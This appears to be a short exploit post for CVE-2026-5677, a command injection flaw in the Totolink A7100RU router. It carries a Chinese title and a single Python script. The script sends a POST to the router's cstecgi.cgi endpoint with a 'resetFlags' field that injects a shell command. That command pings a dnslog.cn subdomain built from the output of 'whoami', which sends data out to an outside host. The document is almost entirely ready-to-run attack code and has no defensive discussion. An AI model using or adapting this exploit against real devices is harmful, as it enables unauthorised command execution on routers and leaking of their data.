CVE-2026-5677 Totolink A7100RU OS命令注入漏洞

import requests def exploit(target_ip): url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Payload to inject a command (e.g., ping a test server) # The injected command is appended using a semicolon payload = "; ping -c 3 `whoami`.dnslog.cn" data = { "function": "set", "resetFlags": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[*] Request sent to {url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)